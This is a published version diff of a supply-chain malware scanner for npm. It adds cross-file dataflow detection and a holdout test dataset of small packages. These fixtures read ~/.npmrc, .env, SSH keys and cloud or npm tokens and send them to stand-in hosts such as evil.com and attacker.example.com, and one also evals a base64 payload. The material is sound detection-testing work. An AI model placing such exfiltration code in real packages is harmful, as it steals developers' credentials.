muaddib-scanner 2.2.5 → 2.2.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (40) hide show
  1. package/bin/muaddib.js +6 -1
  2. package/datasets/holdout-v5/callback-exfil/main.js +8 -0
  3. package/datasets/holdout-v5/callback-exfil/package.json +5 -0
  4. package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
  5. package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
  6. package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
  7. package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
  8. package/datasets/holdout-v5/conditional-split/detector.js +2 -0
  9. package/datasets/holdout-v5/conditional-split/package.json +5 -0
  10. package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
  11. package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
  12. package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
  13. package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
  14. package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
  15. package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
  16. package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
  17. package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
  18. package/datasets/holdout-v5/named-export-steal/main.js +6 -0
  19. package/datasets/holdout-v5/named-export-steal/package.json +5 -0
  20. package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
  21. package/datasets/holdout-v5/reexport-chain/a.js +2 -0
  22. package/datasets/holdout-v5/reexport-chain/b.js +1 -0
  23. package/datasets/holdout-v5/reexport-chain/c.js +11 -0
  24. package/datasets/holdout-v5/reexport-chain/package.json +5 -0
  25. package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
  26. package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
  27. package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
  28. package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
  29. package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
  30. package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
  31. package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
  32. package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
  33. package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
  34. package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
  35. package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
  36. package/package.json +1 -1
  37. package/src/index.js +20 -1
  38. package/src/response/playbooks.js +5 -0
  39. package/src/rules/index.js +13 -0
  40. package/src/scanner/module-graph.js +883 -0
package/bin/muaddib.js CHANGED
@@ -32,6 +32,7 @@ let temporalMaintainerMode = false;
32
32
  let temporalFullMode = false;
33
33
  let breakdownMode = false;
34
34
  let noDeobfuscate = false;
35
+ let noModuleGraph = false;
35
36
  let feedLimit = null;
36
37
  let feedSeverity = null;
37
38
  let feedSince = null;
@@ -113,6 +114,8 @@ for (let i = 0; i < options.length; i++) {
113
114
  breakdownMode = true;
114
115
  } else if (options[i] === '--no-deobfuscate') {
115
116
  noDeobfuscate = true;
117
+ } else if (options[i] === '--no-module-graph') {
118
+ noModuleGraph = true;
116
119
  } else if (options[i] === '--temporal') {
117
120
  temporalMode = true;
118
121
  } else if (options[i] === '--limit') {
@@ -399,6 +402,7 @@ const helpText = `
399
402
  --temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
400
403
  --no-canary Disable honey token injection in sandbox
401
404
  --no-deobfuscate Disable deobfuscation pre-processing
405
+ --no-module-graph Disable cross-file dataflow analysis
402
406
  --exclude [dir] Exclude directory from scan (repeatable)
403
407
  --limit [n] Limit feed entries (default: 50)
404
408
  --severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
@@ -440,7 +444,8 @@ if (command === 'version' || command === '--version' || command === '-v') {
440
444
  exclude: excludeDirs,
441
445
  entropyThreshold: entropyThreshold,
442
446
  breakdown: breakdownMode,
443
- noDeobfuscate: noDeobfuscate
447
+ noDeobfuscate: noDeobfuscate,
448
+ noModuleGraph: noModuleGraph
444
449
  }).then(exitCode => {
445
450
  process.exit(exitCode);
446
451
  }).catch(err => {
@@ -0,0 +1,8 @@
1
+ const readCredentials = require('./reader');
2
+
3
+ readCredentials((data) => {
4
+ fetch('https://evil.com/collect', {
5
+ method: 'POST',
6
+ body: data
7
+ });
8
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "callback-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — callback-based credential passing"
5
+ }
@@ -0,0 +1,10 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ function readCredentials(callback) {
6
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
7
+ callback(npmrc);
8
+ }
9
+
10
+ module.exports = readCredentials;
@@ -0,0 +1,10 @@
1
+ const fs = require('fs');
2
+
3
+ class Collector {
4
+ read() {
5
+ const data = fs.readFileSync('.env', 'utf8');
6
+ return data;
7
+ }
8
+ }
9
+
10
+ module.exports = Collector;
@@ -0,0 +1,7 @@
1
+ const Collector = require('./collector');
2
+
3
+ const c = new Collector();
4
+ const secrets = c.read();
5
+
6
+ const ws = new WebSocket('wss://evil.com/ws');
7
+ ws.send(secrets);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "class-method-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — class method read + WebSocket exfil"
5
+ }
@@ -0,0 +1,2 @@
1
+ const isCI = !!process.env.CI;
2
+ module.exports = isCI;
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "conditional-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — conditional CI-gated exfiltration"
5
+ }
@@ -0,0 +1,16 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const https = require('https');
5
+ const isCI = require('./detector');
6
+
7
+ if (isCI) {
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ const req = https.request({
10
+ hostname: 'evil.com',
11
+ path: '/ci-steal',
12
+ method: 'POST'
13
+ }, (res) => { res.resume(); });
14
+ req.write(npmrc);
15
+ req.end();
16
+ }
@@ -0,0 +1,12 @@
1
+ const https = require('https');
2
+ const bus = require('./scanner');
3
+
4
+ bus.on('data', (creds) => {
5
+ const req = https.request({
6
+ hostname: 'evil.com',
7
+ path: '/steal',
8
+ method: 'POST'
9
+ }, (res) => { res.resume(); });
10
+ req.write(creds);
11
+ req.end();
12
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "event-emitter-flow",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — EventEmitter-based credential flow"
5
+ }
@@ -0,0 +1,11 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const EventEmitter = require('events');
5
+
6
+ const bus = new EventEmitter();
7
+
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ bus.emit('data', npmrc);
10
+
11
+ module.exports = bus;
@@ -0,0 +1,6 @@
1
+ // Inline obfuscated payload (intra-file threat)
2
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
3
+ eval(payload);
4
+
5
+ // Also orchestrate cross-file flow
6
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "mixed-inline-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — intra-file eval + cross-file dataflow"
5
+ }
@@ -0,0 +1,3 @@
1
+ const fs = require('fs');
2
+ const data = fs.readFileSync('.npmrc', 'utf8');
3
+ module.exports = data;
@@ -0,0 +1,6 @@
1
+ const stolen = require('./reader');
2
+
3
+ fetch('https://evil.com/exfil', {
4
+ method: 'POST',
5
+ body: stolen
6
+ });
@@ -0,0 +1,6 @@
1
+ const { getCredentials } = require('./utils');
2
+
3
+ fetch('https://evil.com/aws', {
4
+ method: 'POST',
5
+ body: getCredentials
6
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "named-export-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — named export destructuring steal"
5
+ }
@@ -0,0 +1 @@
1
+ exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
@@ -0,0 +1,2 @@
1
+ const token = process.env.NPM_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1 @@
1
+ module.exports = require('./a');
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const secret = require('./b');
3
+
4
+ const req = https.request({
5
+ hostname: 'evil.com',
6
+ path: '/npm-token',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(secret);
11
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "reexport-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — double re-export chain a → b → c"
5
+ }
@@ -0,0 +1,2 @@
1
+ const token = process.env.GITHUB_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1,5 @@
1
+ const token = require('./env');
2
+ fetch('https://evil.com/collect', {
3
+ method: 'POST',
4
+ body: token
5
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-env-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file env token exfil"
5
+ }
@@ -0,0 +1,2 @@
1
+ require('./reader');
2
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-npmrc-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file .npmrc steal"
5
+ }
@@ -0,0 +1,8 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ const npmrcPath = path.join(os.homedir(), '.npmrc');
6
+ const content = fs.readFileSync(npmrcPath, 'utf8');
7
+
8
+ module.exports = content;
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const data = require('./reader');
3
+
4
+ const options = {
5
+ hostname: 'collector.evil.com',
6
+ port: 443,
7
+ path: '/exfil',
8
+ method: 'POST',
9
+ headers: { 'Content-Type': 'text/plain' }
10
+ };
11
+
12
+ const req = https.request(options, (res) => {
13
+ res.resume();
14
+ });
15
+
16
+ req.write(data);
17
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "three-hop-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — 3-file chain reader → transform → sender"
5
+ }
@@ -0,0 +1,8 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const keyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
6
+ const key = fs.readFileSync(keyPath, 'utf8');
7
+
8
+ module.exports = key;
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const payload = require('./transform');
3
+
4
+ const req = https.request({
5
+ hostname: 'attacker.example.com',
6
+ path: '/collect',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(payload);
11
+ req.end();
@@ -0,0 +1,3 @@
1
+ const raw = require('./reader');
2
+ const encoded = Buffer.from(raw).toString('base64');
3
+ module.exports = encoded;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.5",
3
+ "version": "2.2.6",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
package/src/index.js CHANGED
@@ -20,6 +20,7 @@ const { ensureIOCs } = require('./ioc/bootstrap.js');
20
20
  const { scanEntropy } = require('./scanner/entropy.js');
21
21
  const { scanAIConfig } = require('./scanner/ai-config.js');
22
22
  const { deobfuscate } = require('./scanner/deobfuscate.js');
23
+ const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
23
24
  const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
24
25
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
25
26
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
@@ -226,6 +227,18 @@ async function run(targetPath, options = {}) {
226
227
  // Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
227
228
  const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
228
229
 
230
+ // Cross-file module graph analysis (before individual scanners)
231
+ let crossFileFlows = [];
232
+ if (!options.noModuleGraph) {
233
+ try {
234
+ const graph = buildModuleGraph(targetPath);
235
+ const tainted = annotateTaintedExports(graph, targetPath);
236
+ crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
237
+ } catch {
238
+ // Graceful fallback — module graph is best-effort
239
+ }
240
+ }
241
+
229
242
  // Parallel execution of all independent scanners
230
243
  const [
231
244
  packageThreats,
@@ -275,7 +288,13 @@ async function run(targetPath, options = {}) {
275
288
  ...pythonThreats,
276
289
  ...pypiTyposquatThreats,
277
290
  ...entropyThreats,
278
- ...aiConfigThreats
291
+ ...aiConfigThreats,
292
+ ...crossFileFlows.map(f => ({
293
+ type: f.type,
294
+ severity: f.severity,
295
+ message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
296
+ file: f.sinkFile
297
+ }))
279
298
  ];
280
299
 
281
300
  // Paranoid mode
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
304
304
  'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
305
305
  'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
306
306
 
307
+ cross_file_dataflow:
308
+ 'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
309
+ 'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
310
+ 'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
311
+
307
312
  credential_tampering:
308
313
  'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
309
314
  'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
@@ -624,6 +624,19 @@ const RULES = {
624
624
  mitre: 'T1195.002'
625
625
  },
626
626
 
627
+ cross_file_dataflow: {
628
+ id: 'MUADDIB-FLOW-004',
629
+ name: 'Cross-File Data Exfiltration',
630
+ severity: 'CRITICAL',
631
+ confidence: 'high',
632
+ description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
633
+ references: [
634
+ 'https://blog.phylum.io/shai-hulud-npm-worm',
635
+ 'https://attack.mitre.org/techniques/T1041/'
636
+ ],
637
+ mitre: 'T1041'
638
+ },
639
+
627
640
  credential_tampering: {
628
641
  id: 'MUADDIB-FLOW-003',
629
642
  name: 'Credential/Cache Tampering',
@@ -0,0 +1,883 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const acorn = require('acorn');
4
+ const { findFiles } = require('../utils');
5
+
6
+ // --- Sensitive source patterns ---
7
+ const SENSITIVE_MODULES = new Set(['fs', 'child_process', 'dns', 'os']);
8
+
9
+ const ACORN_OPTIONS = {
10
+ ecmaVersion: 'latest',
11
+ sourceType: 'module',
12
+ allowReturnOutsideFunction: true,
13
+ allowImportExportEverywhere: true,
14
+ };
15
+
16
+ // --- Sink patterns for cross-file detection ---
17
+ const SINK_CALLEE_NAMES = new Set(['fetch', 'eval', 'Function', 'WebSocket', 'XMLHttpRequest']);
18
+ const SINK_MEMBER_METHODS = new Set([
19
+ 'https.request', 'https.get', 'http.request', 'http.get',
20
+ 'child_process.exec', 'child_process.execSync', 'child_process.spawn',
21
+ ]);
22
+ const SINK_INSTANCE_METHODS = new Set(['connect', 'write', 'send']);
23
+
24
+ // =============================================================================
25
+ // STEP 1 — Module dependency graph
26
+ // =============================================================================
27
+
28
+ /**
29
+ * Build a dependency graph of local modules within a package.
30
+ * Only tracks local imports (./ ../) — node_modules are ignored.
31
+ */
32
+ function buildModuleGraph(packagePath) {
33
+ const graph = {};
34
+ const files = findFiles(packagePath, {
35
+ extensions: ['.js'],
36
+ excludedDirs: ['node_modules', '.git'],
37
+ });
38
+ for (const absFile of files) {
39
+ const relFile = toRel(absFile, packagePath);
40
+ const imports = extractLocalImports(absFile, packagePath);
41
+ graph[relFile] = imports;
42
+ }
43
+ return graph;
44
+ }
45
+
46
+ function extractLocalImports(filePath, packagePath) {
47
+ const ast = parseFile(filePath);
48
+ if (!ast) return [];
49
+
50
+ const imports = [];
51
+ const fileDir = path.dirname(filePath);
52
+
53
+ for (const node of ast.body) {
54
+ if (node.type === 'ImportDeclaration' && node.source && typeof node.source.value === 'string') {
55
+ const spec = node.source.value;
56
+ if (isLocalImport(spec)) {
57
+ const resolved = resolveLocal(fileDir, spec, packagePath);
58
+ if (resolved) imports.push(resolved);
59
+ }
60
+ }
61
+ }
62
+ walkForRequires(ast, fileDir, packagePath, imports);
63
+ return [...new Set(imports)];
64
+ }
65
+
66
+ function walkForRequires(node, fileDir, packagePath, imports) {
67
+ if (!node || typeof node !== 'object') return;
68
+ if (
69
+ node.type === 'CallExpression' &&
70
+ node.callee && node.callee.type === 'Identifier' &&
71
+ node.callee.name === 'require' &&
72
+ node.arguments.length === 1 &&
73
+ node.arguments[0].type === 'Literal' &&
74
+ typeof node.arguments[0].value === 'string'
75
+ ) {
76
+ const spec = node.arguments[0].value;
77
+ if (isLocalImport(spec)) {
78
+ const resolved = resolveLocal(fileDir, spec, packagePath);
79
+ if (resolved) imports.push(resolved);
80
+ }
81
+ }
82
+ for (const key of Object.keys(node)) {
83
+ if (key === 'type') continue;
84
+ const child = node[key];
85
+ if (Array.isArray(child)) {
86
+ for (const item of child) {
87
+ if (item && typeof item === 'object' && item.type) {
88
+ walkForRequires(item, fileDir, packagePath, imports);
89
+ }
90
+ }
91
+ } else if (child && typeof child === 'object' && child.type) {
92
+ walkForRequires(child, fileDir, packagePath, imports);
93
+ }
94
+ }
95
+ }
96
+
97
+ // =============================================================================
98
+ // STEP 2 — Annotate tainted exports
99
+ // =============================================================================
100
+
101
+ /**
102
+ * For each file in the graph, find exports and check if they depend on
103
+ * sensitive sources (fs.readFileSync, process.env, os.homedir, etc.).
104
+ *
105
+ * Returns: { 'reader.js': { default: { tainted: true, source: '...', detail: '...' } }, ... }
106
+ */
107
+ function annotateTaintedExports(graph, packagePath) {
108
+ const result = {};
109
+ for (const relFile of Object.keys(graph)) {
110
+ const absFile = path.resolve(packagePath, relFile);
111
+ result[relFile] = analyzeExports(absFile);
112
+ }
113
+ return result;
114
+ }
115
+
116
+ function analyzeExports(filePath) {
117
+ const ast = parseFile(filePath);
118
+ if (!ast) return {};
119
+
120
+ // Track which local variables hold sensitive module references
121
+ // e.g. const fs = require('fs') → moduleVars['fs'] = 'fs'
122
+ const moduleVars = {};
123
+ // Track which local variables hold tainted values
124
+ // e.g. const data = fs.readFileSync(...) → taintedVars['data'] = { source, detail }
125
+ const taintedVars = {};
126
+
127
+ // Track class declarations: class Foo { ... }
128
+ const classDefs = {};
129
+ walkAST(ast, (node) => {
130
+ if (node.type === 'ClassDeclaration' && node.id && node.id.name) {
131
+ classDefs[node.id.name] = node;
132
+ }
133
+ });
134
+
135
+ // First pass: collect require assignments and tainted variable assignments
136
+ walkAST(ast, (node) => {
137
+ // const fs = require('fs')
138
+ if (node.type === 'VariableDeclaration') {
139
+ for (const decl of node.declarations) {
140
+ if (!decl.init || !decl.id) continue;
141
+
142
+ // const fs = require('fs')
143
+ if (isRequireCall(decl.init) && SENSITIVE_MODULES.has(decl.init.arguments[0].value)) {
144
+ if (decl.id.type === 'Identifier') {
145
+ moduleVars[decl.id.name] = decl.init.arguments[0].value;
146
+ }
147
+ }
148
+
149
+ // const data = fs.readFileSync(...) or const token = process.env.XXX
150
+ if (decl.id.type === 'Identifier') {
151
+ const taint = checkNodeTaint(decl.init, moduleVars);
152
+ if (taint) {
153
+ taintedVars[decl.id.name] = taint;
154
+ }
155
+ }
156
+ }
157
+ }
158
+
159
+ // Also handle: let x; x = fs.readFileSync(...)
160
+ if (node.type === 'ExpressionStatement' && node.expression.type === 'AssignmentExpression') {
161
+ const left = node.expression.left;
162
+ const right = node.expression.right;
163
+ if (left.type === 'Identifier') {
164
+ const taint = checkNodeTaint(right, moduleVars);
165
+ if (taint) {
166
+ taintedVars[left.name] = taint;
167
+ }
168
+ }
169
+ }
170
+ });
171
+
172
+ // Second pass: find exports and check if they are tainted
173
+ const exports = {};
174
+ walkAST(ast, (node) => {
175
+ // module.exports = value OR module.exports = { ... }
176
+ if (isModuleExportsAssign(node)) {
177
+ const value = node.expression.right;
178
+ const exportName = getExportName(node.expression.left);
179
+
180
+ // Direct taint on the value itself
181
+ const taint = checkNodeTaint(value, moduleVars);
182
+ if (taint) {
183
+ exports[exportName] = { tainted: true, source: taint.source, detail: taint.detail };
184
+ return;
185
+ }
186
+
187
+ // Variable reference → check taintedVars
188
+ if (value.type === 'Identifier' && taintedVars[value.name]) {
189
+ const t = taintedVars[value.name];
190
+ exports[exportName] = { tainted: true, source: t.source, detail: t.detail };
191
+ return;
192
+ }
193
+
194
+ // Object literal: module.exports = { read: function() { ... } }
195
+ if (value.type === 'ObjectExpression' && exportName === 'default') {
196
+ for (const prop of value.properties) {
197
+ if (!prop.key) continue;
198
+ const propName = prop.key.name || prop.key.value || 'unknown';
199
+
200
+ // Check function body for taint
201
+ const funcBody = getFunctionBody(prop.value);
202
+ if (funcBody) {
203
+ const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
204
+ if (bodyTaint) {
205
+ exports[propName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
206
+ }
207
+ } else {
208
+ // Value is a direct expression
209
+ const vTaint = checkNodeTaint(prop.value, moduleVars);
210
+ if (vTaint) {
211
+ exports[propName] = { tainted: true, source: vTaint.source, detail: vTaint.detail };
212
+ } else if (prop.value.type === 'Identifier' && taintedVars[prop.value.name]) {
213
+ const t = taintedVars[prop.value.name];
214
+ exports[propName] = { tainted: true, source: t.source, detail: t.detail };
215
+ }
216
+ }
217
+ }
218
+ return;
219
+ }
220
+
221
+ // Class expression: module.exports = class { ... }
222
+ if (value.type === 'ClassExpression') {
223
+ analyzeClassBody(value, moduleVars, taintedVars, exports);
224
+ return;
225
+ }
226
+
227
+ // Class reference: module.exports = ClassName (where ClassName is a ClassDeclaration)
228
+ if (value.type === 'Identifier' && classDefs[value.name]) {
229
+ analyzeClassBody(classDefs[value.name], moduleVars, taintedVars, exports);
230
+ return;
231
+ }
232
+
233
+ // Function/arrow: module.exports = function() { ... }
234
+ const funcBody = getFunctionBody(value);
235
+ if (funcBody) {
236
+ const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
237
+ if (bodyTaint) {
238
+ exports[exportName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
239
+ }
240
+ }
241
+ }
242
+ });
243
+
244
+ return exports;
245
+ }
246
+
247
+ /**
248
+ * Analyze class body methods for tainted sources.
249
+ * Populates exports with named tainted methods.
250
+ */
251
+ function analyzeClassBody(classNode, moduleVars, taintedVars, exports) {
252
+ if (!classNode.body || !classNode.body.body) return;
253
+ for (const member of classNode.body.body) {
254
+ if (member.type !== 'MethodDefinition') continue;
255
+ const methodName = member.key && (member.key.name || member.key.value);
256
+ if (!methodName || methodName === 'constructor') continue;
257
+ const funcBody = getFunctionBody(member.value);
258
+ if (funcBody) {
259
+ const bodyTaint = scanBodyForTaint(funcBody, moduleVars, taintedVars);
260
+ if (bodyTaint) {
261
+ exports[methodName] = { tainted: true, source: bodyTaint.source, detail: bodyTaint.detail };
262
+ }
263
+ }
264
+ }
265
+ }
266
+
267
+ /**
268
+ * Check if a single AST node represents a sensitive source call.
269
+ */
270
+ function checkNodeTaint(node, moduleVars) {
271
+ if (!node) return null;
272
+
273
+ // process.env or process.env.XXX
274
+ if (node.type === 'MemberExpression') {
275
+ const chain = getMemberChain(node);
276
+ if (chain.startsWith('process.env')) {
277
+ const detail = chain.length > 'process.env'.length ? chain.slice('process.env.'.length) : '';
278
+ return { source: 'process.env', detail };
279
+ }
280
+ }
281
+
282
+ // require('fs').readFileSync(...) (inline require)
283
+ if (node.type === 'CallExpression' && node.callee.type === 'MemberExpression') {
284
+ const obj = node.callee.object;
285
+ const prop = node.callee.property;
286
+ const methodName = prop.name || prop.value;
287
+
288
+ // Check inline require: require('fs').readFileSync(...)
289
+ if (isRequireCall(obj) && SENSITIVE_MODULES.has(obj.arguments[0].value)) {
290
+ const mod = obj.arguments[0].value;
291
+ return describeSensitiveCall(mod, methodName, node.arguments);
292
+ }
293
+
294
+ // Check variable-based: fs.readFileSync(...)
295
+ if (obj.type === 'Identifier' && moduleVars[obj.name]) {
296
+ const mod = moduleVars[obj.name];
297
+ return describeSensitiveCall(mod, methodName, node.arguments);
298
+ }
299
+ }
300
+
301
+ // Bare call: exec(...), spawn(...)
302
+ if (node.type === 'CallExpression' && node.callee.type === 'Identifier') {
303
+ const name = node.callee.name;
304
+ if (name === 'exec' || name === 'execSync' || name === 'spawn' || name === 'spawnSync') {
305
+ const detail = extractLiteralArg(node.arguments);
306
+ return { source: `child_process.${name}`, detail };
307
+ }
308
+ }
309
+
310
+ return null;
311
+ }
312
+
313
+ function describeSensitiveCall(mod, method, args) {
314
+ const detail = extractLiteralArg(args);
315
+ if (mod === 'fs' && (method === 'readFileSync' || method === 'readFile')) {
316
+ return { source: `fs.${method}`, detail };
317
+ }
318
+ if (mod === 'os' && method === 'homedir') {
319
+ return { source: 'os.homedir', detail: '' };
320
+ }
321
+ if (mod === 'child_process' && (method === 'exec' || method === 'execSync' || method === 'spawn')) {
322
+ return { source: `child_process.${method}`, detail };
323
+ }
324
+ if (mod === 'dns' && method === 'resolveTxt') {
325
+ return { source: 'dns.resolveTxt', detail };
326
+ }
327
+ return null;
328
+ }
329
+
330
+ /**
331
+ * Scan a function body (array of statements) for any tainted expression.
332
+ * Returns the first taint found, or null.
333
+ */
334
+ function scanBodyForTaint(body, moduleVars, taintedVars) {
335
+ // Collect local tainted vars within this function scope too
336
+ const localTainted = { ...taintedVars };
337
+
338
+ let found = null;
339
+ walkAST({ type: 'Program', body }, (node) => {
340
+ if (found) return;
341
+
342
+ // Variable assignment inside function
343
+ if (node.type === 'VariableDeclaration') {
344
+ for (const decl of node.declarations) {
345
+ if (!decl.init || !decl.id || decl.id.type !== 'Identifier') continue;
346
+ if (isRequireCall(decl.init) && SENSITIVE_MODULES.has(decl.init.arguments[0].value)) {
347
+ moduleVars[decl.id.name] = decl.init.arguments[0].value;
348
+ }
349
+ const t = checkNodeTaint(decl.init, moduleVars);
350
+ if (t) localTainted[decl.id.name] = t;
351
+ }
352
+ }
353
+
354
+ const taint = checkNodeTaint(node, moduleVars);
355
+ if (taint) {
356
+ found = taint;
357
+ return;
358
+ }
359
+
360
+ // Return of a tainted variable
361
+ if (node.type === 'ReturnStatement' && node.argument) {
362
+ if (node.argument.type === 'Identifier' && localTainted[node.argument.name]) {
363
+ found = localTainted[node.argument.name];
364
+ }
365
+ }
366
+ });
367
+ return found;
368
+ }
369
+
370
+ // =============================================================================
371
+ // STEP 3 — Cross-file flow detection
372
+ // =============================================================================
373
+
374
+ /**
375
+ * Detect cross-file dataflows: a tainted export from one module reaches a
376
+ * network/exec sink in another module.
377
+ * Max 2 levels of re-export (A → B → C).
378
+ */
379
+ function detectCrossFileFlows(graph, taintedExports, packagePath) {
380
+ // Expand taint through re-exports (max 2 levels)
381
+ const expandedTaint = expandTaintThroughReexports(graph, taintedExports, packagePath);
382
+
383
+ const flows = [];
384
+
385
+ for (const relFile of Object.keys(graph)) {
386
+ const absFile = path.resolve(packagePath, relFile);
387
+ const ast = parseFile(absFile);
388
+ if (!ast) continue;
389
+
390
+ // Find which local variables are tainted via imports
391
+ const localTaint = collectImportTaint(ast, relFile, graph, expandedTaint, packagePath);
392
+ if (Object.keys(localTaint).length === 0) continue;
393
+
394
+ // Find sinks that use tainted variables
395
+ const sinks = findSinksUsingTainted(ast, localTaint);
396
+ for (const sink of sinks) {
397
+ const taintInfo = localTaint[sink.taintedVar];
398
+ flows.push({
399
+ severity: 'CRITICAL',
400
+ type: 'cross_file_dataflow',
401
+ sourceFile: taintInfo.sourceFile,
402
+ source: `${taintInfo.source}${taintInfo.detail ? '(' + taintInfo.detail + ')' : ''}`,
403
+ sinkFile: relFile,
404
+ sink: sink.sink,
405
+ description: `Credential read in ${taintInfo.sourceFile} exported and sent to network in ${relFile}`,
406
+ });
407
+ }
408
+ }
409
+
410
+ return flows;
411
+ }
412
+
413
+ /**
414
+ * Expand taint through re-exports: if module B imports from A and re-exports,
415
+ * B's exports are also tainted. Max 2 levels.
416
+ */
417
+ function expandTaintThroughReexports(graph, taintedExports, packagePath) {
418
+ const expanded = {};
419
+ for (const f of Object.keys(taintedExports)) {
420
+ expanded[f] = { ...taintedExports[f] };
421
+ }
422
+
423
+ for (let level = 0; level < 2; level++) {
424
+ let changed = false;
425
+ for (const relFile of Object.keys(graph)) {
426
+ const absFile = path.resolve(packagePath, relFile);
427
+ const ast = parseFile(absFile);
428
+ if (!ast) continue;
429
+
430
+ const localTaint = collectImportTaint(ast, relFile, graph, expanded, packagePath);
431
+
432
+ // Propagate taint through local variable assignments:
433
+ // e.g. const encoded = Buffer.from(raw) where raw is tainted
434
+ if (Object.keys(localTaint).length > 0) {
435
+ propagateLocalTaint(ast, localTaint);
436
+ }
437
+
438
+ // Check if any export returns a tainted variable (or inline require)
439
+ if (!expanded[relFile]) expanded[relFile] = {};
440
+ const fileDir = path.dirname(absFile);
441
+ walkAST(ast, (node) => {
442
